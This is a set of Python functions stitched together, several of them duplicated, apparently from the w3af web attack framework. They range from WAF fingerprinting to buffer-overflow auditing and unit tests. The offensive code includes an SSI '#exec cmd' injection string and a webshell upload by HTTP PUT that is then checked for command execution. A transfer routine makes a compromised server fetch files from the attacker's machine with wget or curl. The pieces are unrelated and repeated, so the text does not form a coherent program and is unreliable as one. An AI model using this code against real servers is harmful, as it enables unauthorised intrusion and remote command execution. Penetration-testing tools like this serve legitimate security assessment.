def _fingerprint_URLScan(self, fuzzable_request): ''' Try to verify if URLScan is installed or not. ''' # detect using GET # Get the original response orig_response = self._uri_opener.GET(fuzzable_request.get_url(), cache=True) if orig_response.get_code() != 404: # Now add the if header and try again headers = fuzzable_request.get_headers() headers['If'] = rand_alpha(8) if_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Translate'] = rand_alpha(8) translate_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Lock-Token'] = rand_alpha(8) lock_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(8) transfer_enc_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) if if_response.get_code() == 404 or translate_response.get_code() == 404 or\ lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404: self._report_finding('URLScan', lock_response)
def _get_ssi_strings(self): ''' This method returns a list of server sides to try to include. :return: A string, see above. ''' yield '<!--#exec cmd="echo -n %s;echo -n %s" -->' % (rand_alpha(5), rand_alpha(5))
def audit(self, freq, orig_response): ''' Searches for file upload vulns using a POST to author.dll. :param freq: A FuzzableRequest ''' domain_path = freq.get_url().get_domain_path() if kb.kb.get(self, 'frontpage'): # Nothing to do, I have found vuln(s) and I should stop on first msg = 'Not verifying if I can upload files to: "%s" using'\ ' author.dll. Because I already found a vulnerability.' om.out.debug(msg) return # I haven't found any vulns yet, OR i'm trying to find every # directory where I can write a file. if domain_path not in self._already_tested: self._already_tested.add(domain_path) # Find a file that doesn't exist and then try to upload it for _ in xrange(3): rand_file = rand_alpha(5) + '.html' rand_path_file = domain_path.url_join(rand_file) res = self._uri_opener.GET(rand_path_file) if is_404(res): upload_id = self._upload_file(domain_path, rand_file) self._verify_upload(domain_path, rand_file, upload_id) break else: msg = 'frontpage plugin failed to find a 404 page. This is'\ ' mostly because of an error in 404 page detection.' om.out.error(msg)
def transfer(self, data_str, destination): ''' This method is used to transfer the data_str from w3af to the compromised server. ''' if not self._command: self.can_transfer() commandTemplates = {} commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s' commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s' commandTemplates['curl'] = 'curl http://%s:%s/%s > %s' # Create the file filename = rand_alpha(10) file_path = get_temp_dir() + os.path.sep + filename f = file(file_path, 'w') f.write(data_str) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.get('local_ip_address'), self._inbound_port, get_temp_dir()) commandToRun = commandTemplates[self._command] % \ (cf.cf.get('local_ip_address'), self._inbound_port, filename, destination) self._exec_method(commandToRun) os.remove(file_path) return self.verify_upload(data_str, destination)
def create_mutants(freq, mutant_str_list, fuzzable_param_list, append, fuzzer_config): ''' This is a very important method which is called in order to create mutants. Usually called from fuzzer.py module. ''' if not 'fuzz_form_files' in fuzzer_config: return [] if not isinstance(freq, HTTPPostDataRequest): return [] file_vars = freq.get_file_vars() if not file_vars: return [] fake_file_objs = [] ext = fuzzer_config['fuzzed_files_extension'] for mutant_str in mutant_str_list: if isinstance(mutant_str, basestring): # I have to create the NamedStringIO with a "name". # This is needed for MultipartPostHandler fname = "%s.%s" % (rand_alpha(7), ext) str_file = NamedStringIO(mutant_str, name=fname) fake_file_objs.append(str_file) res = Mutant._create_mutants_worker(freq, FileContentMutant, fake_file_objs, file_vars, append, fuzzer_config) return res
def can_exploit(self, opener): rand = rand_alpha(8) cmd = self.generate_command('echo %s|rev' % rand) # For some reason that I don't care about, rev adds a \n to the string # it reverses, even when I run the echo with "-n". expected_output = '%s\n' % rand[::-1] http_response = self.send(cmd, opener) return expected_output == self.extract_result(http_response)
def __init__(self): AuditPlugin.__init__(self) # Create some random strings, which the plugin will use. # for the fuzz_with_echo self._rnd = rand_alpha(5) self._expected_result = self._rnd * self.PRINT_REPEATS # User configured parameters self._use_time_delay = True self._use_echo = True
def _PUT(self, domain_path): ''' Tests PUT method. ''' # upload url = domain_path.url_join(rand_alpha(5)) rnd_content = rand_alnum(6) put_response = self._uri_opener.PUT(url, data=rnd_content) # check if uploaded res = self._uri_opener.GET(url, cache=True) if res.get_body() == rnd_content: msg = 'File upload with HTTP PUT method was found at resource:' \ ' "%s". A test file was uploaded to: "%s".' msg = msg % (domain_path, res.get_url()) v = Vuln('Insecure DAV configuration', msg, severity.HIGH, [put_response.id, res.id], self.get_name()) v.set_url(url) v.set_method('PUT') self.kb_append(self, 'dav', v) # Report some common errors elif put_response.get_code() == 500: msg = 'DAV seems to be incorrectly configured. The web server' \ ' answered with a 500 error code. In most cases, this means'\ ' that the DAV extension failed in some way. This error was'\ ' found at: "%s".' % put_response.get_url() i = Info('DAV incorrect configuration', msg, res.id, self.get_name()) i.set_url(url) i.set_method('PUT') self.kb_append(self, 'dav', i) # Report some common errors elif put_response.get_code() == 403: msg = 'DAV seems to be correctly configured and allowing you to'\ ' use the PUT method but the directory does not have the'\ ' correct permissions that would allow the web server to'\ ' write to it. This error was found at: "%s".' msg = msg % put_response.get_url() i = Info('DAV incorrect configuration', msg, [put_response.id, res.id], self.get_name()) i.set_url(url) i.set_method('PUT') self.kb_append(self, 'dav', i)
def get_file_from_template(extension): file_name = "%s.%s" % (rand_alpha(7), extension) template_file = os.path.join(TEMPLATE_DIR, 'template.%s' % extension) if os.path.exists(template_file): file_content = file(template_file).read() success = True else: file_content = rand_alnum(64) success = False return success, file_content, file_name
def can_exploit(self, opener): # Define a test command: rand = rand_alpha(8) expected_output = rand + '\n' if self._remote_os == 'windows': command = self.generate_command('echo %s' % rand) else: command = self.generate_command('/bin/echo %s' % rand) # Lets define the result header and footer. http_response = self.send(command, opener) return self._define_exact_cut(http_response.get_body(), expected_output)
def _fingerprint_SecureIIS(self, fuzzable_request): ''' Try to verify if SecureIIS is installed or not. ''' # And now a final check for SecureIIS headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(1024 + 1) try: lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) except w3afException, w3: om.out.debug( 'Failed to identify secure IIS, exception: ' + str(w3))
def _fingerprint_URLScan(self, fuzzable_request): ''' Try to verify if URLScan is installed or not. ''' # detect using GET # Get the original response orig_response = self._uri_opener.GET( fuzzable_request.get_url(), cache=True) if orig_response.get_code() != 404: # Now add the if header and try again headers = fuzzable_request.get_headers() headers['If'] = rand_alpha(8) if_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Translate'] = rand_alpha(8) translate_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Lock-Token'] = rand_alpha(8) lock_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(8) transfer_enc_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) if if_response.get_code() == 404 or translate_response.get_code() == 404 or\ lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404: self._report_finding('URLScan', lock_response)
def _fingerprint_SecureIIS(self, fuzzable_request): ''' Try to verify if SecureIIS is installed or not. ''' # And now a final check for SecureIIS headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(1024 + 1) try: lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) except w3afException, w3: om.out.debug('Failed to identify secure IIS, exception: ' + str(w3))
def __init__(self): self.db = get_default_temp_db_instance() self.table_name = rand_alpha(30) # Create table # DO NOT add the AUTOINCREMENT flag to the table creation since that # will break __getitem__ when an item is removed, see: # http://www.sqlite.org/faq.html#q1 columns = [('index_', 'INTEGER'), ('key', 'BLOB'), ('value', 'BLOB')] pks = ['index_'] self.db.create_table(self.table_name, columns, pks) self.db.create_index(self.table_name, ['key']) self.db.commit()
def _verify_vuln(self, vuln_obj): ''' This command verifies a vuln. This is really hard work! :P :return : True if vuln can be exploited. ''' # Create the shell filename = rand_alpha(7) extension = vuln_obj.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "%s".' % extension) # Upload the shell fname = '%s.%s' % (filename, extension) url_to_upload = vuln_obj.get_url().url_join(fname) om.out.debug( 'Uploading file %s using PUT method.' % url_to_upload) self._uri_opener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = URL(url_to_upload + '?cmd=') response = self._uri_opener.GET(exploit_url) if shell_handler.SHELL_IDENTIFIER in response.get_body(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\ ' verifies that the file was uploaded and is being executed.' om.out.debug(msg) self._exploit_url = exploit_url return True else: msg = 'The uploaded shell with extension: "%s" did NOT return'\ ' the SHELL_IDENTIFIER, which means that the file was not'\ ' uploaded to the remote server or the code is not being'\ ' run. The returned body was: "%s".' % (extension, response.get_body()) om.out.debug(msg) extension = ''
def _verify_vuln(self, vuln_obj): ''' This command verifies a vuln. This is really hard work! :P :return : True if vuln can be exploited. ''' # Create the shell filename = rand_alpha(7) extension = vuln_obj.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "%s".' % extension) # Upload the shell fname = '%s.%s' % (filename, extension) url_to_upload = vuln_obj.get_url().url_join(fname) om.out.debug('Uploading file %s using PUT method.' % url_to_upload) self._uri_opener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = URL(url_to_upload + '?cmd=') response = self._uri_opener.GET(exploit_url) if shell_handler.SHELL_IDENTIFIER in response.get_body(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\ ' verifies that the file was uploaded and is being executed.' om.out.debug(msg) self._exploit_url = exploit_url return True else: msg = 'The uploaded shell with extension: "%s" did NOT return'\ ' the SHELL_IDENTIFIER, which means that the file was not'\ ' uploaded to the remote server or the code is not being'\ ' run. The returned body was: "%s".' % (extension, response.get_body()) om.out.debug(msg) extension = ''
def test_rand_alpha(self): x = rand_alpha(length=10) self.assertEqual(len(x), 10) x = rand_alpha(length=20) self.assertEqual(len(x), 20) x = rand_alpha(length=5) y = rand_alpha(length=5) z = rand_alpha(length=5) w = rand_alpha(length=5) self.assertTrue(x != y != z != w)
def test_rand_alpha(self): x = rand_alpha( length=10 ) self.assertEqual(len(x), 10) x = rand_alpha( length=20 ) self.assertEqual(len(x), 20) x = rand_alpha( length=5 ) y = rand_alpha( length=5 ) z = rand_alpha( length=5 ) w = rand_alpha( length=5 ) self.assertTrue(x != y != z != w)
def _check_existance(self, original_response, mutant): ''' Actually check if the mutated URL exists. :return: None, all important data is put() to self.output_queue ''' response = self._uri_opener.send_mutant(mutant) if not is_404(response) and \ relative_distance_lt(original_response.body, response.body, 0.85): # Verify against something random rand = rand_alpha() rand_mutant = mutant.copy() rand_mutant.set_mod_value(rand) rand_response = self._uri_opener.send_mutant(rand_mutant) if relative_distance_lt(response.body, rand_response.body, 0.85): for fr in self._create_fuzzable_requests(response): self.output_queue.put(fr)
def __init__(self): super(DBKnowledgeBase, self).__init__() self.urls = DiskSet() self.fuzzable_requests = DiskSet() self.db = get_default_persistent_db_instance() columns = [('location_a', 'TEXT'), ('location_b', 'TEXT'), ('uniq_id', 'TEXT'), ('pickle', 'BLOB')] self.table_name = rand_alpha(30) self.db.create_table(self.table_name, columns) self.db.create_index(self.table_name, ['location_a', 'location_b']) self.db.create_index(self.table_name, [ 'uniq_id', ]) self.db.commit() # TODO: Why doesn't this work with a WeakValueDictionary? self.observers = {} #WeakValueDictionary() self.type_observers = {} #WeakValueDictionary() self._observer_id = 0
def __init__(self): super(DBKnowledgeBase, self).__init__() self.urls = DiskSet() self.fuzzable_requests = DiskSet() self.db = get_default_persistent_db_instance() columns = [('location_a', 'TEXT'), ('location_b', 'TEXT'), ('uniq_id', 'TEXT'), ('pickle', 'BLOB')] self.table_name = rand_alpha(30) self.db.create_table(self.table_name, columns) self.db.create_index(self.table_name, ['location_a', 'location_b']) self.db.create_index(self.table_name, ['uniq_id',]) self.db.commit() # TODO: Why doesn't this work with a WeakValueDictionary? self.observers = {} #WeakValueDictionary() self.type_observers = {} #WeakValueDictionary() self._observer_id = 0
class buffer_overflow(AuditPlugin): ''' Find buffer overflow vulnerabilities. :author: Andres Riancho ([email protected]) ''' OVERFLOW_ERRORS = ( '*** stack smashing detected ***:', 'Backtrace:', 'Memory map:', # Note that the lack of commas after the strings is intentional '<html><head>\n<title>500 Internal Server Error</title>\n' '</head><body>\n<h1>' 'Internal Server Error</h1>' ) _multi_in = multi_in(OVERFLOW_ERRORS) # TODO: if lengths = [ 65 , 257 , 513 , 1025, 2049, 4097, 8000 ] # then i get a BadStatusLine exception from urllib2, is seems to be an # internal error. Tested against tomcat 5.5.7 BUFFER_TESTS = [rand_alpha(l) for l in [65, 257, 513, 1025, 2049]] def __init__(self): ''' Some notes: On Apache, when an overflow happends on a cgic script, this is written to the log: *** stack smashing detected ***: /var/www/.../buffer_overflow.cgi terminated, referer: http://localhost/w3af/bufferOverflow/buffer_overflow.cgi Premature end of script headers: buffer_overflow.cgi, referer: ... On Apache, when an overflow happends on a cgic script, this is returned to the user: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p> <p>More information about this error may be available in the server error log.</p> <hr> <address>Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6 Server at localhost Port 80</address> </body></html> Note that this is an Apache error 500, not the more common PHP error 500. ''' AuditPlugin.__init__(self) def audit(self, freq, orig_response): ''' Tests an URL for buffer overflow vulnerabilities. :param freq: A FuzzableRequest ''' mutants = create_mutants(freq, self.BUFFER_TESTS, orig_resp=orig_response) self.worker_pool.map(self._send_request, mutants) def _send_request(self, mutant): ''' Sends a mutant to the remote web server. I wrap urllib's _send_mutant just to handle errors in a different way. ''' try: response = self._uri_opener.send_mutant(mutant) except (w3afException, w3afMustStopException): desc = 'A potential (most probably a false positive than a bug)' \ ' buffer-overflow was found when requesting: "%s", using' \ ' HTTP method %s. The data sent was: "%s".' desc = desc % (mutant.get_url(), mutant.get_method(), mutant.get_dc()) i = Info.from_mutant('Potential buffer overflow vulnerability', desc, response.ids, self.get_name(), mutant) self.kb_append_uniq(self, 'buffer_overflow', i) else: self._analyze_result(mutant, response) def _analyze_result(self, mutant, response): ''' Analyze results of the _send_mutant method. ''' for error_str in self._multi_in.query(response.body): # And not in the original response if error_str not in mutant.get_original_response_body() and \ self._has_no_bug(mutant): desc = 'A potential buffer overflow (accurate detection is' \ ' hard...) was found at: %s' % mutant.found_at() v = Vuln.from_mutant('Buffer overflow vulnerability', desc, severity.MEDIUM, response.id, self.get_name(), mutant) v.add_to_highlight(error_str) self.kb_append_uniq(self, 'buffer_overflow', v) def get_plugin_deps(self): ''' :return: A list with the names of the plugins that should be run before the current one. ''' return ['grep.error_500'] def get_long_desc(self): ''' :return: A DETAILED description of the plugin functions and features. ''' return '''